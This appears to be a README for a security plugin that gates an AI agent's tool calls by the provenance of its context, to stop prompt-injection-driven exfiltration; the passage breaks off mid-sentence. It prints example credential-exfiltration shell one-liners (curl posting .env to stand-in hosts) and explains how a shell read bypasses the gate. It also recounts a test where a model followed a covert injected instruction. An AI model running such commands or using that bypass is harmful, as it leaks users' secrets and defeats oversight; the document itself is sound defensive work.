dsh-airlock
Provenance-gated tool use for DeepSeek Harness (dsh).
Status: 0.1.0. The plugin labels context by origin and enforces rules over those labels at five seams. The seam claims are verified against dsh
0.1.0-rc.6, which warns of compatibility-breaking changes. The behaviour is verified end to end against dsh0.1.0-rc.6. See Verified end to end. Expect breaking changes while the harness is a release candidate.Read the shell hole before you rely on
secret-no-egress. A secret read throughbashis not labelled, so egress stays open. A live run reproduced a one-line shell command that read a credential file and posted it, with the plugin mounted, and the plugin allowed it. Opaque readers close half of that, are off by default, and cost a great deal.
The problem
Every tool guard in the dsh ecosystem matches patterns on arguments or output. That approach is advisory, and the harness maintainers say so:
Argument matching is advisory, not enforcement. When one command gets denied, the agent simply tries alternative approaches to achieve the same outcome. Only restricting the underlying capability provides true enforcement.
A model told "no" to curl tries wget, then urllib, then a base64 one-liner.
Blocking strings is a game the defender loses.
What this plugin does instead
dsh-airlock stops asking what a tool call says and starts asking where its inputs came from.
Every piece of content entering the agent's context gets a label. Labels propagate through the session's own lineage records. The gates then enforce rules over labels rather than over strings.
Reformulation stops working, because the constraint is no longer about phrasing.
Once this session has read an untrusted web page, network-reaching tools are restricted —
as bash, as pwsh, as run_code, as an MCP server, identically.
The agent cannot talk its way out of a fact about its own history.
That holds for untrusted content, which is labelled from the tool name. It does not hold for a secret read through a shell, which is labelled from nothing. Read the shell hole before reading the rest of this as a guarantee.
The label lattice
Two independent axes. Trust answers "could an attacker have written this". Sensitivity answers "what happens if this escapes".
trust: user < workspace < untrusted
sensitivity: public < confidential < secret
A label is assigned from an event's own origin, then joined with the labels of the events it cites.
| Origin | Label |
|---|---|
| A message typed in the composer | user, public |
agent.inject() context — a subdirectory AGENTS.md, a skill body, a cron notice |
workspace, public |
A web_fetch or web_search result |
untrusted, public |
| Any MCP tool result | untrusted, public |
| A tool call whose path argument matches a secret glob | workspace, secret |
| Any other tool result | workspace, public |
The sensitivity row is the one to read carefully. The secret label is raised from a call's
path argument — file_path, path, filePath, or absolute_path — so it covers read,
write, edit, and the other tools that name a path. A bash call names no path, so a
secret read through the shell lands on the last row and stays public. See
the shell hole, and opaque readers for the opt-in
declaration that raises a floor on a named tool instead.
Injected context is the case worth naming.
A cron notice, a subdirectory AGENTS.md, and the human's own typing are all user/message
events on the wire, and the model cannot tell them apart.
The event's source.kind does tell them apart, so the ledger can.
That is precisely the gap indirect injections live in.
No built-in rule or label assignment produces confidential. It is there for an operator who
writes a rule over it, and opaque readers are its documented use: a floor at
confidential denies egress through a rule the operator writes, while staying below the
built-in rule that withholds a secret result.
Why compaction cannot launder a label
This is the part that makes the design sound rather than decorative.
Information-flow control for agents is a known idea. It keeps failing to ship inside real agents because nobody knows what the model saw: context gets assembled, summarised, and re-summarised until origin is lost.
dsh records lineage in core for its own reasons.
A surface event carries sourceEventSeqs, and a compaction replace operation
must list every surface node it shadows.
So a summary of a poisoned page inherits that page's label, by the harness's own invariant.
Summarising untrusted content does not clean it.
The ledger is a pure projection over session/event.
The session log is the source of truth, so replaying it rebuilds the index exactly.
One caveat, and it is the load-bearing claim in this section. Label propagation across a
replace is unit-tested, and no end-to-end run has yet grown long enough to compact. The
harness invariant is read out of the harness source and the plugin's half is tested. The two
have not been observed working together in a live session. See
Verified end to end.
The five seams
The plugin installs five seams. Each one can do exactly one thing, and each one is limited by what the harness lets a listener do there.
| Seam | What it does | What it cannot do |
|---|---|---|
ctx.tools.guard() |
Gate A. Denies a tool call over the step's context label. | It cannot ask, allow, rewrite, or await anything. |
tools/pre-execute |
The ask. Returns {kind:'ask'} for a rule the operator wrote as ask. |
It cannot rewrite arguments, and it does not call ctx.approval itself. |
tools/post-execute |
Withholds a secret result by blocking it. Frames an untrusted result in a data envelope. |
It cannot redact part of a result, and a content replacement withholds nothing. |
agent/pre-step |
Gate B. Redacts messages entering a step, and can reject the step. | It sees the entering batch only, never the conversation history. |
llm/stream |
The provider backstop. Refuses a model request. | It never edits a request, and it is disabled unless the policy arms it. |
Gate A — ctx.tools.guard()
The capability gate, and the only decision here that no other plugin can undo.
That seam runs after the whole reorderable tools/pre-execute waterfall, and it is monotonic:
a guard may deny or abstain, and can never force-allow.
No later listener and no plugin ordering can turn its denial back into permission.
dsh-guardian, dsh-tool-policy, and dsh-acp-plugin all register on the reorderable seam instead.
The guard is synchronous by contract, so it reads the in-memory ledger and awaits nothing. A session the plugin has observed no events for makes the gate abstain, because the gate denies on evidence and it has none.
A denial names the rule, the label, and the event that caused it. This one is copied from a live session log, not composed for the README:
airlock denied `bash` by rule untrusted-no-egress: untrusted content in context
cannot direct a tool that reaches the network. This step's context is
trust=untrusted sensitivity=public, from seq 43 (`mcp__notes__release_notes`
result). The restriction follows the data in context, not the wording of the
call, so another tool or another encoding reaches the same denial.
The model retried the identical call 800 sequence numbers later in the same session and met the identical denial. See Verified end to end.
The ask — tools/pre-execute
A rule written as then: ask returns {kind:'ask'} here.
The plugin does not call ctx.approval. The harness services the ask itself, through
ctx.approval, after the whole waterfall has run.
The harness degrades that ask to a denial when no approval service is mounted, and when the
call carries no agent.
The plugin reads the same two facts before it decides: an absent ctx.approval, or an
approval service configured policy: 'never', lowers the posture to deny, so the refusal
says the posture refused rather than leaving an ask to be degraded silently.
The approval request carries no tool arguments. An answerer sees the tool name, the call id, and the plugin's reason string, so the reason is self-contained: it names the rule, the label, and the origin event.
The built-in policy ships no ask rule, so this seam abstains for every call until an
operator writes one.
The result boundary — tools/post-execute
Two cases, and they use different mechanisms on purpose.
A result labelled secret is withheld with {kind:'block'}.
It is not content-replaced. A content replacement changes what the model sees and what the
durable event records, and the canonical value survives it untouched — a Code Mode
run_code program reads that value through its SDK bindings. The harness documents this
plainly in packages/core/tools/README.md: content replacement is not a confidentiality
boundary. A replaced value would withhold the content, but a replaced value is revalidated
against the tool's declared output.schema, and this plugin cannot know that schema. block
is the mechanism that is correct for every tool, so block is the one used.
The block carries feedback that says the content was withheld by policy, which glob decided it, and what would release it. A block that reads like an empty file sends the agent into a retry loop against a decision that will never change.
A result from an untrusted source is content-replaced into a data envelope. That is presentation policy rather than confidentiality policy: the model is supposed to see the page it fetched, and the only change is that it now reads as quoted data. Inside the envelope, control characters, bidi overrides, zero-width characters, and Unicode tag characters are replaced with a visible marker naming the class and the count. The marker is the point — the smuggled instruction stops working and starts being visible.
Gate B — agent/pre-step
agent/pre-step is a waterfall over the messages a proposed step enters with.
That batch is the inbox content claimed for this step: fresh human input and injected
context. It is not the conversation history, so nothing at this seam reaches a secret that
arrived earlier through a tool/result.
The seam is upstream of the log, so a message rewritten here reaches the log in its rewritten
form. The provider and the log continue to agree, which is the invariant a rewrite at
llm/stream would break.
Two moves are sound here and the module makes exactly those two: redaction of an entering message whose producer is classified at or above a sensitivity threshold, and rejection of the whole step.
Both are driven by producer classification, and the preStep section configures it.
The defaults are inert: with no preStep section the seam classifies no producer, rewrites
nothing, and never rejects a step.
airlock:
preStep:
secretProducers: [payroll-export, "internal-*"]
untrustedProducers: ["webhook-*"]
redactAtOrAbove: secret
reject: { trust: untrusted }
A producer pattern is a plain name or a name with a trailing *, the same shape a tool name
pattern uses. redactAtOrAbove defaults to secret. An absent reject means the seam never
rejects a step.
reject: {} is refused at load. A rejection that names neither axis fires for nothing, so it
is a security control that reads as armed and is inert. That is the opposite of when: {} on
a rule, which matches everything and is accepted for exactly that reason.
The provider backstop — llm/stream
llm/stream is the last seam before the adapter carries a request off the machine.
This seam blocks and never edits. A loop-built request arrives deep-frozen, so mutation throws, and a request that reached the provider in a form the session log does not record would break the harness's own "model-visible means logged" invariant.
Blocking is done by short-circuiting: the plugin returns its own valid chunk stream without
calling next(), and the turn ends with an ordinary assistant message saying what happened.
Throwing from the listener would end the whole turn with an error instead, because middleware
failures are not normalised into the stream protocol.
The backstop is disabled by default. It is armed by writing a rule at the provider
boundary with the effect redact, and by nothing else. There is deliberately no
backstop.enabled key: the rule an operator reads in the policy is the rule that fires, and
a separate switch would let a policy show an armed rule that a key elsewhere had turned off.
Writing backstop.enabled fails the load with a message naming the rule form instead.
An armed backstop blocks a request when any provider rule matches, over the axes that rule
names. A rule written when: {trust: untrusted, boundary: provider} blocks on trust. A rule
that names neither axis blocks at sensitivity secret, which is the threshold a rule with no
axes falls back to. The first matching rule owns the refusal, and its text cites the origin
event on the axis it was written over. A rule's capability axis is not read here, because
this seam carries no tool call.
Auxiliary requests — purpose: 'compaction' and purpose: 'session-title' — pass by
default. Blocking compaction would wedge the session at exactly the label an operator wanted
cleared. backstop.auxiliary: true subjects them to the backstop as well, for a deployment
that does not trust the provider with any byte of the content, and it accepts that compaction
stops.
Read the limitations before arming this.
Capability classes
Rules are written over classes, never over tool names in a policy string.
| Class | Tools |
|---|---|
egress |
web_fetch, web_search, bash, pwsh, terminal_open, terminal_send, run_code, mcp__* |
mutate |
write, edit, str_replace_editor, bash, pwsh, terminal_open, terminal_send, terminal_close, terminal_signal, run_code, mcp__* |
read |
everything else — read, glob, grep, lsp, and the rest |
A shell appears under egress because a shell is a general-purpose network client.
That is the whole point: curl, wget, and a Python one-liner are one capability, so one rule stops all three.
run_code is egress because a Code Mode program runs in-process and can open its own sockets.
Its bridged sub-calls re-enter the full guarded pipeline, so the leaf tools it invokes are gated separately as well.
An MCP tool is both classes, because the bridge speaks to a process this plugin cannot inspect.
read is the class of every tool that matches no other class. A tool joins it by being
absent from egress and mutate, and a policy cannot list it.
web_fetch and web_search are listed here and were not exercised end to end. Neither tool
is reachable in a stock dsh-base plus dsh-headless composition: tool-web ships
fetch: false, and no fetch provider ships with it. Their classification and their
untrusted labelling are unit-tested only. See Verified end to end.
Rules
A rule constrains four things and nothing else: the trust of the step's context, its sensitivity, the capability class of the tool, and the boundary it is enforced at. Every one of those is known before the model produces any output, which is what makes a rule enforcing rather than advisory.
There is no key for an argument value and no key for tool output. Adding one is out of scope for this project; see AGENTS.md.
trust and sensitivity match at or above the named level.
An axis that is absent constrains nothing.
A rule that names no capability governs all three classes.
Rules are evaluated in the order they are written, and the first match wins.
Each effect is carried by one seam, and a pair with no seam behind it is refused at load rather than accepted as a rule that would never fire.
| Boundary | Effect | Enforced by |
|---|---|---|
tool |
deny |
the monotonic guard, ctx.tools.guard() |
tool |
ask |
the tools/pre-execute approval seam |
tool |
allow |
rule evaluation itself, which stops at the first match |
provider |
redact |
the provider backstop at llm/stream, which the rule itself arms |
provider |
allow |
rule evaluation itself, which stops at the first match |
redact at the tool boundary is the pair worth naming. The harness documents that
tools/pre-execute cannot rewrite arguments, "because history, audit, UI, and execution must
agree", so no seam can scrub a tool call and the load fails with that explanation.
The default boundary is tool.
The built-in rules
The defaults ship two rules. Both deny.
| Rule | Condition | Effect |
|---|---|---|
untrusted-no-egress |
context trust is untrusted and the tool is egress |
deny |
secret-no-egress |
context sensitivity is secret and the tool is egress |
deny |
Neither rule denies reading or searching at any label, which is most of what an agent does. Neither rule denies writing either — see the limitations below.
The capability gate and the result boundary are separate, and the difference matters more
than it reads. No rule denies a read, a glob, or a grep call, so those calls are not
refused and they do execute. A read whose path matches a secret glob then has its result
withheld at tools/post-execute, and the model receives an error result naming the glob that
decided it. So reading is not gated, and a secret-labelled read result does not reach the
model. A live run confirmed both halves: read, glob, and grep were never denied, and a
read of .env returned an error result with the contents withheld.
A configured rules list replaces the built-in rules outright, including these two, because
a reader of the policy must see the whole evaluation order in one place.
Install
dsh plugin --profile <name> add dsh-airlock
Then mount the plugin in $DSH_HOME/profiles/<name>/cordis.patch.yml:
- insert:
- id: dsh-airlock
name: dsh-airlock
inject: [tools]
config:
dryRun: true
inject: [tools] is mandatory. Without it the plugin does not load, and the
failure is not confined to the plugin: the whole plugin tree fails to load and
the harness does not boot. Cordis throws on an undeclared service property
access, so the plugin's read of ctx.tools throws before it can run.
That is a known discrepancy between this code and the runtime. toolRuntime()
in src/dsh.ts reads ctx.tools defensively and is written to log a warning and
return when no tool runtime is mounted. Cordis throws first, so in a real
composition that path is dead code. The plugin's intent is to degrade; the
runtime's behaviour is to crash. Declare inject: [tools] and the question does
not arise.
A mount entry's name must be a literal. It is resolved before !!js
expressions are evaluated, so name: !!js process.env.X fails with
name.startsWith is not a function. A config: value may be a !!js
expression.
An absolute filesystem path is accepted as a name, which is how the end-to-end
suite mounts a working tree without linking or packing it.
Every configuration key is optional, and the defaults need no configuration at all.
Confirm the mount and the resolved configuration with dsh --profile <name> --dump-config.
The plugin needs @deepseek-ai/cordis as a peer and has no runtime dependencies of its own.
Two optional peers extend it: js-yaml for a YAML policy file, and @opentelemetry/api for
the span event sink. Both are absent-safe.
Configuration
Three layers, merged lowest to highest:
- the built-in defaults,
- the workspace policy file named by
policyFile, - the mount config.
A key set at a higher layer replaces the same key at a lower one.
A list replaces the list below it and is never concatenated with it, so the policy in force is
the policy an operator can read in the diff.
The sections that hold independent switches — classes, opaqueReaders, preStep,
backstop, declassify, and evidence — merge one key at a time, so setting classes.egress
leaves the built-in mutate list in place.
That merge is one level deep. A layer that sets preStep.reject replaces the whole reject
mapping below it, for the same reason a list replaces a list.
A key, a value, or a shape the plugin does not understand fails the plugin load. That is deliberate. A typo in a security policy is a rule that would not be enforced, and a rule that silently does not apply is worse than no rule at all.
Keys
| Key | Type | Default | Meaning |
|---|---|---|---|
posture |
"ask" | "deny" |
"ask" |
What an ask rule does. See below. |
dryRun |
boolean | false |
Logs what the policy would have done without doing it. |
policyFile |
string | none | A workspace policy file to read. Only the mount config may set it. |
classes.egress |
string[] | see above | Tool name patterns in the egress class. |
classes.mutate |
string[] | see above | Tool name patterns in the mutate class. |
secretPaths |
string[] | see below | Globs whose contents are labelled secret when a tool reads them. |
untrustedSources |
string[] | web_fetch, web_search, mcp__* |
Tools whose results are labelled untrusted on arrival. |
opaqueReaders.tools |
string[] | empty | Tools that read through a surface this plugin cannot inspect. See below. |
opaqueReaders.sensitivity |
sensitivity | "secret" |
The sensitivity floor a declared tool's results carry. |
opaqueReaders.trust |
trust | none | The trust floor a declared tool's results carry. Absent leaves trust alone. |
rules |
rule[] | the two built-in rules | The rules, in evaluation order. |
declassify.allow |
boolean | true |
Whether a human may clear a label. |
evidence.otlp |
boolean | true |
The OpenTelemetry span event sink. |
evidence.jsonl |
boolean | string | true |
The hash-chained JSONL sink. A string is the file path. |
preStep.secretProducers |
string[] | none | Producer name patterns whose entering messages are secret. |
preStep.untrustedProducers |
string[] | none | Producer name patterns whose entering messages are untrusted. |
preStep.redactAtOrAbove |
sensitivity | "secret" |
The level at or above which Gate B redacts an entering message. |
preStep.reject |
mapping | none | The label at which Gate B rejects the whole step. Must name trust, sensitivity, or both. |
backstop.auxiliary |
boolean | false |
Whether the backstop also claims compaction and session-title requests. |
A rule is a mapping of id, when, then, and rationale.
when and then are required. id defaults to the rule's position, and rationale is
generated from the condition.
when accepts trust, sensitivity, capability, and boundary, and nothing else.
Two rules may not share an id, because that would make evidence ambiguous about which one fired.
A tool name pattern is a plain name or a name with a trailing *, which is how mcp__*
covers every bridged server tool. A path glob supports ** across separators, * within one
segment, and ?. A leading ~/ is expanded.
Default secretPaths:
**/.env **/.env.* **/credentials **/.aws/**
**/.ssh/** **/*.pem **/*.key **/.netrc
**/.npmrc **/id_rsa* **/id_ed25519*
Run with dryRun: true against a real workload first.
Read the logs before you enforce.
Over-blocking is how a taint system dies, and a measurement beats an intuition.
The policy file
A team that would rather review its policy in its own repository points policyFile at one.
.json is read with no dependency at all. .yml and .yaml are read through js-yaml, an
optional peer. Any other extension is refused rather than guessed at.
A relative path resolves against the working directory, and a leading ~/ is expanded.
A policy file may not name another policy file: one hop only, because a chain of files is a
policy nobody can read in one sitting.
A file that is missing, unparsable, or invalid fails the load rather than being ignored.
The whole accepted shape, with every section present:
airlock:
posture: ask
dryRun: false
classes:
egress: [web_fetch, web_search, bash, pwsh, run_code, "mcp__*"]
mutate: [write, edit, bash, pwsh, run_code, "mcp__*"]
secretPaths: ["**/.env", "**/credentials", "~/.ssh/**", "**/*.pem"]
untrustedSources: [web_fetch, web_search, "mcp__*"]
opaqueReaders:
tools: [bash, pwsh, run_code, "terminal_*"]
sensitivity: secret
rules:
- id: untrusted-no-egress
when: { trust: untrusted, capability: egress }
then: deny
rationale: untrusted content in context cannot direct a tool that reaches the network
- id: untrusted-ask-before-mutate
when: { trust: untrusted, capability: mutate }
then: ask
- id: secret-stays-off-the-provider
when: { sensitivity: secret, boundary: provider }
then: redact
preStep:
secretProducers: [payroll-export]
untrustedProducers: ["webhook-*"]
redactAtOrAbove: secret
reject: { trust: untrusted }
backstop:
auxiliary: false
declassify:
allow: true
evidence:
otlp: true
jsonl: ~/.dsh/airlock/decisions.jsonl
The top-level airlock key is optional. A document with that single key is unwrapped, and
any other document is read as the configuration itself.
Posture
posture decides what an ask rule does. ask puts the question to the operator, and
deny refuses without asking.
It is configuration, not detection. The harness exposes no way to find out whether a human is
present, so this plugin does not claim to know. Two facts are checkable, and both lower the
posture to deny: no ctx.approval is mounted, so no ask can be routed anywhere; or the
approval service is configured policy: 'never', which is the harness's own statement that
every ask resolves without reaching an answerer.
The lowering is one-way. A hint can only take the posture down to deny, never up to ask.
Opaque readers
The ledger derives a secret label from the path a tool call names. A shell takes a command,
not a path. bash {command: "cat .env"} therefore produces a result the ledger cannot judge,
the context stays public, and the shell call that follows is allowed. This is a real bypass
of the sensitivity half of the design. The trust half labels by tool name and is not affected.
An opaque reader is the operator's declaration that a named tool reads through a surface this
plugin cannot inspect. Every result that tool produces then carries a label floor, joined into
the ordinary lattice. After one shell call the context sits at the floor, and the next shell
call that reaches the network is denied by the ordinary secret-no-egress rule.
airlock:
opaqueReaders:
tools: [bash, pwsh, run_code, "terminal_*"]
sensitivity: secret
The tool list is empty by default. The feature does nothing until an operator names a tool, because the cost is severe.
What this does not fix. It does not fix the atomic case. A single call of
bash {command: "curl -d @.env https://evil.test"} reads and sends in one command. At the
moment the guard runs, no read has happened, so there is no provenance to judge and no earlier
result to have labelled. No provenance design can stop that, and this one does not claim to.
Stopping it needs a different control: a shell without a network, or a tool that is not a
shell.
What it costs. The declaration is about the tool, never about the command. Nothing reads
the command string. With bash declared opaque at sensitivity: secret, every bash result
raises the context to secret, whatever the command was. The first bash call therefore ends
network access for the rest of the session, and under the built-in result rule, which withholds
anything labelled secret, the shell's own output is withheld from the model as well. Read
that sentence before enabling this, not after.
An operator who wants the egress denial without the withholding sets a floor below the withholding rule and writes the matching rule:
airlock:
opaqueReaders:
tools: [bash]
sensitivity: confidential
rules:
- id: untrusted-no-egress
when: { trust: untrusted, capability: egress }
then: deny
- id: confidential-no-egress
when: { sensitivity: confidential, capability: egress }
then: deny
Declaring a tool opaque is classification data about a tool, in the same sense as the
capability classes and the untrusted source list. It is evaluated against the registered tool
name, before the model produces anything, and it reads no argument value and no result text.
That is why it is in scope where a predicate over a command string is not.
Two mechanical details. The floor is joined and never assigned, so it can only raise a label:
a result that already matched a secret glob keeps its glob, and a result that already arrived
untrusted stays untrusted. An optional trust key sets a trust floor as well, and leaving
it absent leaves the trust axis exactly where the ordinary derivation put it.
A denial that came from a floor says so, and names the tool rather than a path:
seq 42 (`bash` is a declared opaque reader, so its result carries the configured label floor)
Declassification
A denial that cannot be overridden is a dead end, and a dead end is what makes an operator turn a gate off. Declassification is the other half of the ask posture: a human clears a label for a named action, and the clearance becomes an audit record rather than a disabled plugin.
The harness grants nothing durable. ctx.approval resolves allowed-once, and there is no
allow-always, no remembered rule, no grant store, and no revocation. A plugin that wants a
clearance to outlive one call therefore keeps its own store, which is what airlock does.
The store is bounded on both axes that can leak: a session holds at most 16 grants, and the store remembers at most 1,024 sessions. The oldest is evicted first, and eviction can only remove permission. A grant is scoped by capability class and optionally by a single tool name, and it covers a later step only when that step's label sits at or below the label the human cleared. A clearance never outlives its session: the disposal listeners drop it with the ledger.
declassify.allow: false disables the store, so every lookup answers no.
The grant is recorded from the harness's own audit trail. The plugin never sees an approval
outcome as a return value: the harness services an ask after the whole tools/pre-execute
waterfall and hands the result to the tool registry, not to the asker. What the plugin does
see is the durable pair the approval service appends to the session log, approval/asked and
approval/decided, on the same session/event listener the ledger already folds.
Attribution is strict, because the log carries every plugin's approvals and an approval for
another plugin's question must not clear an airlock label. Three facts must agree before a
grant is recorded: the callId names a call this plugin returned {kind:'ask'} for in this
session, the toolName is the tool that ask was about, and the reason is byte for byte the
string this plugin composed. Anything that fails all three is not correlated, and an
uncorrelated approval grants nothing. The cost of failing to attribute is that the operator is
asked again, which is the safe direction.
So a clearance covers exactly this much: the capability class and the single tool that was approved, at or below the label the human was shown, for the life of that one session, and only for an ask that airlock itself raised with its own wording. It covers nothing else.
Evidence
Every decision the plugin makes emits one record: the session, the tool, the call id, the
capability classes, the outcome, the rule that fired, the label, and one line naming the
event the label came from. The outcomes are allow, deny, ask, redact, and
declassify.
Two sinks carry it, and a failure in either degrades the evidence and never the agent loop.
Hash-chained JSONL. One line per decision, appended synchronously to
~/.dsh/airlock/decisions.jsonl by default. Each line carries the sha256 of the previous
line's hash together with this line's own canonical content, so an edited, deleted, or
reordered line breaks the chain at that line and at every line after it. verifyChain()
reports the index of the first break. Set evidence.jsonl to a string to move the file, or
to false to disable the sink.
OpenTelemetry span events. Each decision is added to the current active span as an
airlock.decision event, so it rides along the span dsh-otel already produces for the
step. A single trace then shows what the agent did and what it was stopped from doing. The
JSONL sink runs first, so the line's hash rides out on the span event too and a trace ties
back to the exact line on disk. @opentelemetry/api is loaded through a guarded dynamic
import; when the package is absent the sink is a silent no-op. Set evidence.otlp to false
to disable it.
Verified end to end
The claims above are not only read out of the harness source. They were run.
e2e/verify.sh boots a real dsh CLI on a real profile, drives it with a real model, and
reads every assertion out of the session log rather than out of what the model says it did.
| Fact | Value |
|---|---|
| Harness | @deepseek-ai/dsh 0.1.0-rc.6 |
| Model | deepseek-v4-flash:preview over Ollama Cloud |
| Permission mode | danger-full-access, so the plugin is the only remaining restraint |
| Result | 29 pass, 0 fail, 2 weak, 1 gap |
Every assertion runs twice: a control arm with the plugin absent, and a treatment arm with it mounted. The control arm is what makes a denial evidence, because without it a blocked call could equally be the model declining, the sandbox refusing, or the tool being absent from the composition.
What the run established:
secret-no-egressanduntrusted-no-egressboth fire in a real session against a real model, and each denial names the rule, the label, and the origin event.- The same denied call, retried 800 sequence numbers later in the same session, met the identical denial. Monotonicity is demonstrated rather than asserted.
read,glob, andgrepwere never denied at any label.- A secret-labelled
readresult was withheld at the result boundary. - One gap reproduced, and it is the headline limit of this release. See The shell hole.
What the run did not establish. This list is here so that the pass count above cannot be read as coverage it does not have.
web_fetchandweb_searchwere never exercised. They are unreachable in a stockdsh-baseplusdsh-headlesscomposition:tool-webshipsfetch: false, and no fetch provider ships with it. The untrusted path was proven through a fixture stdio MCP server instead. That part of theegressclass is untested end to end.- Compaction was never exercised. No run grew long enough to compact. The claim that a
replaceinherits the labels of every node it shadows, so that summarising cannot launder a label, is the load-bearing soundness claim of this design. It is unit-tested. It is not yet proven in a live run, and this document will not call it proven until it is. - The overt injection arm proves nothing. In both arms the model refused the injected
instruction on its own, so no egress was attempted and the gate was never consulted. A model
that declines is not a gate that worked: the treatment arm looked the same as the control
arm, which is precisely the outcome that would follow from the plugin doing nothing.
verify.shreports those two lines asWEAKrather than counting them as passes. Only the covert variant, which the model did comply with, produced a real attempt and a real denial against a real control contrast. - One model only.
deepseek-v4-flash:previewis a strong tool caller. No sweep across models was run. - The
mutateclass, the ask seam, declassification, Gate B, and the provider backstop were outside this run.
Run it with OLLAMA_API_KEY=... e2e/verify.sh. See e2e/README.md for the
scenarios, the fixture safety argument, and how the arms are kept one file apart.
How the seam claims are checked against a version
The seam claims and the end-to-end run are now pinned to the same release, 0.1.0-rc.6.
Every seam claim was first read at 0.1.0-rc.5 and then re-read at 0.1.0-rc.6. Nothing
this plugin depends on changed between the two. No type, no event name, no event payload
field, no enforcement throw, and no registered tool name differs, and no plugin code changed
as a result.
One limit on that re-check is worth stating. The published harness packages do not ship
TypeScript source. Each exports map advertises a ./src/* subpath, but the files list
omits src, so an install cannot serve it. The 0.1.0-rc.6 reading is therefore the emitted
declarations, the compiled implementations, and the package READMEs, which together carry
every claim checked. The repository line numbers in
docs/verification.md remain 0.1.0-rc.5 coordinates, because the
files they index are not published. The content at each was re-verified; the line number was
not.
The harness repository publishes no git tags, so an 0.1.0-rc.6 tag could not be used as a
second source. The npm registry is the only version-pinned harness code this project can
reach.
Limitations, stated plainly
The shell hole
A secret read through a shell is not labelled, and secret-no-egress does not stop a
read-and-send one-liner.
This is the largest limit in the project. It was reproduced end to end against dsh
0.1.0-rc.6 with the plugin mounted. It is stated first because a deployment that grants
bash does not get the secret guarantee, and a reader who finds that out on their own has
learned that nothing else in this document can be trusted.
Half of it now has an opt-in mitigation. Opaque readers close the sequential case, and they are off by default and cost a great deal when switched on. The atomic case is not closed by anything, here or in principle. Read this section before reading that one.
As shipped, with no opaque reader declared, this is the behaviour, and it is covered by a test
rather than left as a caveat: tests/integration.spec.ts, "a shell read, with no opaque reader
declared".
Observed in live sessions with the plugin mounted:
| The call | The resulting context label | A later bash call |
|---|---|---|
read with file_path: /app/.env |
workspace, secret |
denied |
bash with command: cat .env |
workspace, public |
allowed |
one bash call that reads .env and curls the contents out |
user, public |
allowed |
| an MCP tool result | untrusted, public |
denied |
Two separate causes produce this. Each one is sufficient on its own.
A shell is a reader that cannot be labelled. The ledger raises the sensitivity axis from
the path argument of the call: file_path, path, filePath, or absolute_path. bash
takes a command string and names no path, so a secret read through the shell enters context
with the ordinary workspace, public label of any other tool result. Only tools that name a
path — read, write, edit, and their kin — are covered. Labelling bash cat .env would
mean parsing the command string, which is argument matching, which is the one thing this
project exists to stop doing. See AGENTS.md. This is a boundary of the design
rather than a bug awaiting a patch.
One call can be both the reader and the network client. The gate evaluates a call against
the context that exists before that call runs. A single bash invocation that reads a
credential and posts it has done neither at guard time, so there is no provenance to judge and
nothing to deny. No provenance-based gate can stop that one-liner, because the decision point
precedes the read. That is a property of the approach, not of this implementation.
The reproduction: with the plugin mounted, a model ran
set -a; . ./.env; set +a; curl -sS -X POST https://example.invalid/registry -d "build=local"
and airlock allowed it. The only reason nothing left the host is that the fixture domain
cannot resolve, which is a property of the fixture and not of the plugin.
This affects the exfiltration chain and not the injection chain. The secret to egress
half of the design has this hole. The untrusted to egress half does not. An untrusted label
is assigned from the tool name, which is classification data known before any model output
exists, so no argument shape dodges it. The live run confirmed that: an untrusted label from
an MCP result denied bash, and denied the same call again 800 sequence numbers later.
What actually mitigates it. One of these, chosen deliberately.
- Declare the shell an opaque reader. Every
bashresult then carries a label floor, so the sequential case — read the credential in one call, send it in the next — meets the ordinarysecret-no-egressdenial. This is the plugin's own answer and it is partial: it does nothing about the atomic case, and at the defaultsecretfloor it also ends network access for the session on the firstbashcall and withholds the shell's own output from the model. Theconfidentialrecipe in that section keeps the shell usable and is tested end to end. - Do not grant
bash,pwsh, orrun_codein a deployment that needs the secret guarantee. That is the only mitigation that is complete. - Put those tools behind an
askrule, so that a human sees every shell call before it runs. The rule must be unconditional —when: {capability: egress}withthen: ask— because a rule conditioned onsensitivity: secretis exactly the rule this hole slips past. That costs a human answer for every egress call, and it is worth nothing on a headless surface, where an ask with no approver degrades to a denial. - Confine the shell with the harness's own sandbox, so that it cannot open the secret paths at
all. The harness ships
dsh-bash-sandboxfor this, andworkspace-writeis the permission mode that engages it. A sandbox backend must exist on the host: in a plain container with neither bubblewrap nor Landlock the bash tool refuses to run rather than running unconfined, which is a correct failure and not a working deployment. Confirm a backend is present before relying on this.
Removing the shell from the egress class is not a mitigation. It would leave the shell able
to reach the network with no label check at all.
The rest
Labels are coarse. This tracks provenance at message granularity, not through the model's reasoning. Once untrusted text is in context, a paraphrase of it inherits the step's label rather than a precise one. That is a deliberate trade: coarse and sound beats precise and unsound.
Secrets are labelled by path, not by content. This is the narrower half of the shell hole, and it stands on its own. A credential pasted into an ordinary file is not labelled. A credential a tool prints without being asked for a path is not labelled. A credential read through a shell is not labelled. Content-based detection is regex matching, which is the game this project exists to stop playing.
Content replacement is not a confidentiality boundary.
The harness documents this in packages/core/tools/README.md, and it is why a secret result
is withheld with block rather than with replaced content.
A {kind:'accept', content} changes only what the model sees and what the durable event
records. The canonical value survives untouched, and a Code Mode run_code program reads
that value through its SDK bindings, so a content-redacted secret would still be one
run_code call away from the network.
The untrusted data envelope is a content replacement, and it withholds nothing by design: it
frames data the model was always going to see.
Hash-chain truncation is undetectable. The chain detects an edited record, a deleted record, a reordered pair, and a record re-forged against the genesis hash. All four were tested adversarially. It does not detect truncation of the tail. An attacker who deletes the last N lines leaves a file that verifies intact, because a hash chain has no external anchor: nothing outside the file records how long the file should be. Shipping the head hash somewhere the attacker does not control is what closes that gap, and this release does not do it.
Posture is configuration, not detection.
The harness exposes no way to detect whether a human is present. There is no service, no
flag, and no API for it. dsh-headless is a bundle of plugins, not a capability signal.
Claiming auto-detection would be a lie, so the plugin does not claim it.
posture: ask or posture: deny is the operator's explicit choice, lowered to deny only by
the two checkable facts named above: an absent ctx.approval, or the harness's own
ApprovalPolicy of 'never'.
The backstop is disabled by default, and it is blunt. Once a secret is on the surface it stays there until compaction drops it. An always-on rule that blocks every model call carrying a secret therefore does not block one exfiltration. It blocks every remaining step of the session, including the ones that would have done the user's work, and it does so with no tool call in sight. Gate A already denies the capability that could carry the secret out. The backstop is for the deployment that does not trust the model provider itself with the content, and that is an explicit operator decision rather than a default.
Arguments are never rewritten.
The harness documents that tools/pre-execute cannot rewrite arguments,
"because history, audit, UI, and execution must agree."
Allow, deny, and ask are the only moves, so no design here scrubs an argument.
Gate B is inert until it is configured, and narrow even once it is.
The agent/pre-step seam is installed, and the preStep section arms it. With no preStep
